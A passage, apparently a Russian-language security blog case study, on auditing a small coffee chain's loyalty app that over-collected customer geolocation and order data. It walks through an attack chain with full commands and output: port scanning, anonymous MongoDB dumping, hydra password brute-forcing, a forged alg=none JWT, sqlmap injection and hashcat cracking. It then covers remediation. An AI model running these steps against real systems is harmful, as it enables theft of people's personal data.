Владелец небольшой сети кофеен — три точки в одном городе — обратился с простым запросом: проверить, не утекут ли данные клиентов из фирменного приложения с бонусами. Повод был прагматичный: конкурент недавно попал в новости с похожей историей, и владелец решил перестраховаться заранее. Ожидания были скромные — найти забытый тестовый доступ или слабый пароль. Реальность оказалась серьёзнее.
Что накопило приложение за три года
Разработчик-подрядчик, которого наняли на старте проекта, спроектировал схему данных по принципу «соберём всё, вдруг пригодится». В итоге бэкенд на связке Node.js + Express + MongoDB писал в профиль каждого активного пользователя:
- полную историю заказов с точностью до минуты;
- геолокацию при каждом открытии приложения (координаты с точностью до 5–10 метров);
- маршруты передвижения между точками сети;
- интервалы между визитами и поведенческие паттерны («чаще берёт десерт по пятницам после 18:00»).
По самым активным клиентам объём выгрузки в PDF доходил до 500+ страниц. Формально — «для персонализации предложений». Фактически эти данные никто не анализировал: ни один дашборд, ни один отчёт по этим полям не строился. Массив просто рос на сервере, доступ к панели администратора которого защищал пароль admin123, не менявшийся два года.
Как это эксплуатируется
Ниже — типичная последовательность действий, которую проделал бы внешний атакующий или недобросовестный конкурент, наткнувшись на такую инфраструктуру. Все команды приводятся в учебных целях на обезличенном примере.
Шаг 1. Разведка периметра
nmap -sV -p- --min-rate 2000 loyalty-app.example.com
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http nginx 1.14.0
443/tcp open https nginx 1.14.0
8080/tcp open http Node.js Express (admin panel)
27017/tcp open mongodb MongoDB 3.6.8
Уже на этом этапе видно два тревожных признака: панель администратора вынесена на отдельный порт без reverse-proxy авторизации, а порт MongoDB 27017 открыт наружу — при дефолтной конфигурации сервер поднимается без аутентификации (--noauth по умолчанию в старых версиях, если явно не включить security.authorization: enabled).
Шаг 2. Проверка MongoDB на анонимный доступ
mongo --host loyalty-app.example.com --port 27017
MongoDB shell version v3.6.8
connecting to: mongodb://loyalty-app.example.com:27017/
> show dbs
admin 0.000GB
loyalty_db 4.812GB
local 0.000GB
> use loyalty_db
> db.users.findOne()
{
"_id" : ObjectId("..."),
"phone" : "+7912xxxxxxx",
"orders" : [...],
"geo_log" : [
{ "lat": 55.7558, "lon": 37.6173, "ts": ISODate("2023-04-11T18:42:00Z") },
...
]
}
Без единого пароля — полный дамп клиентской базы:
mongodump --host loyalty-app.example.com --port 27017 --db loyalty_db --out ./dump
2023-11-02T14:12:03.001+0300 writing loyalty_db.users to dump/loyalty_db/users.bson
2023-11-02T14:12:07.552+0300 done dumping loyalty_db.users (48213 documents)
Шаг 3. Панель администратора
gobuster dir -u https://loyalty-app.example.com:8080 -w /usr/share/wordlists/dirb/common.txt
/admin (Status: 200)
/api (Status: 200)
/export (Status: 401)
Форма логина в /admin не имела ни ограничения на число попыток, ни капчи:
hydra -l admin -P /usr/share/wordlists/rockyou-top1000.txt \
loyalty-app.example.com -s 8080 http-post-form \
"/admin/login:username=^USER^&password=^PASS^:F=incorrect"
[8080][http-post-form] host: loyalty-app.example.com login: admin password: admin123
Пароль «admin123» стоял в топ-20 любого словаря брутфорса и подбирается за секунды.
Шаг 4. Проверка API на типовые уязвимости
nuclei -u https://loyalty-app.example.com -t exposures,misconfiguration
[medium] [exposed-panel] /admin — Admin panel exposed without auth challenge
[high] [mongodb-unauth] 27017/tcp — MongoDB accessible without authentication
[info] [jwt-none-alg] /api/auth — JWT accepts alg=none
Отдельно стоит отметить находку по JWT: токены авторизации в API подписывались без проверки заголовка alg, что позволяет подделать токен любого пользователя вручную:
curl -s https://loyalty-app.example.com/api/profile \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxfQ."
{"user_id":1,"phone":"+7912xxxxxxx","orders":[...],"geo_log":[...]}
В некоторых точках экспорта присутствовал SQL-инъекционный параметр в устаревшем аналитическом модуле (обращение к репликационной MySQL-базе для отчётов):
sqlmap -u "https://loyalty-app.example.com/report?user_id=1" \
--batch --dbs
sqlmap identified the following injection point(s):
Parameter: user_id (GET)
Type: boolean-based blind
Payload: user_id=1 AND 4218=4218
available databases [2]:
[*] loyalty_reports
[*] information_schema
Шаг 5. Если есть хэши паролей — офлайн-подбор
В дампе пользовательской таблицы часть аккаунтов (сотрудники, партнёрская программа) хранила пароли в MD5 без соли — наследие ранней версии приложения:
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
e10adc3949ba59abbe56e057f20f883e:123456
Что и почему сработало бы дальше
Получив полный дамп базы с геолокацией, историей заказов и телефонами, атакующий получает готовый инструмент для нескольких сценариев монетизации:
- Таргетированный фишинг — зная точное время и место последнего визита, можно отправить SMS «подтвердите списание бонусов за заказ в 18:42» с высокой конверсией открытия;
- Продажа профилей — досье с маршрутами передвижения и паттернами поведения представляет ценность для скоринговых и маркетинговых площадок в серой зоне;
- Шантаж бизнеса — угроза публикации факта слежки за геолокацией клиентов без согласия сама по себе репутационно разрушительна, независимо от того, произошла ли реальная утечка;
- Захват учётных записей через JWT alg=none — доступ к чужим бонусным счетам и списание накопленных баллов.
Ключевая проблема здесь не «взлом» в классическом смысле — большая часть данных была доступна вообще без преодоления какой-либо защиты. Это переводит инцидент из категории «сложная атака» в категорию «системная халатность», что для регулятора и суда выглядит хуже.
Сколько это могло стоить в рублях
По 152-ФЗ сбор данных сверх заявленной цели обработки без явного согласия — административное нарушение с штрафом до 700 000 рублей за эпизод. При тысячах активных пользователей формально это тысячи потенциальных эпизодов, даже если регулятор на практике объединит их в одно дело. Плюс:
- обязательное уведомление субъектов персональных данных об утечке (если она случится) — репутационный удар несопоставим со штрафом;
- риск блокировки приложения по требованию Роскомнадзора до устранения нарушений;
- отток клиентов при огласке факта отслеживания геолокации.
Как закрыли за две недели
Работа не потребовала переписывать приложение с нуля — основная часть касалась минимизации данных и базовой гигиены доступа.
1. Минимизация собираемых полей
Выгрузили схему MongoDB, убрали избыточные поля из модели пользователя:
db.users.updateMany({}, { $unset: { geo_log: "", visit_intervals: "" } })
Геолокация оставлена только в момент активного использования купона — без фонового трекинга и без сохранения истории маршрутов.
2. Закрытие MongoDB и включение авторизации
# mongod.conf
security:
authorization: enabled
net:
bindIp: 127.0.0.1
use admin
db.createUser({
user: "app_service",
pwd: passwordPrompt(),
roles: [{ role: "readWrite", db: "loyalty_db" }]
})
Порт 27017 закрыт на файрволе для внешних подключений (доступ только из внутренней сети через SSH-туннель).
3. Перенос на защищённую инфраструктуру
Данные перенесены в Yandex Cloud с разграничением доступа по ролям IAM, отдельными сервисными аккаунтами для бэкенда и аналитики, шифрованием хранилища на уровне диска.
4. Устранение уязвимости JWT и rate-limit на авторизацию
// проверка алгоритма явно, без доверия заголовку токена
jwt.verify(token, secret, { algorithms: ["HS256"] })
# nginx: ограничение на попытки логина
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
location /admin/login {
limit_req zone=login burst=3;
}
5. Пароли, MFA и мониторинг выгрузок
- смена всех административных паролей, включение TOTP-двухфакторки для входа в панель;
- настроен алерт владельцу в мессенджер при любом запросе, возвращающем более N записей из таблицы пользователей;
- логирование всех обращений к
/exportи/adminс ретеншеном логов 90 дней.
6. Юридическая часть
Обновлена политика обработки персональных данных с явным согласием на каждый тип собираемой информации отдельно (не единым мелким текстом), настроена автоматическая очистка гео-данных старше 30 дней по cron-заданию.
7. Контрольная проверка
nuclei -u https://loyalty-app.example.com -t exposures,misconfiguration,cves
[info] No exposed panels detected
[info] MongoDB port not reachable
Что в итоге
Итоговые затраты на аудит и доработки оказались существенно ниже потенциального штрафа по 152-ФЗ и уж тем более ниже стоимости одного судебного разбирательства с юристами и репутационными потерями. Приложение продолжает работать, от
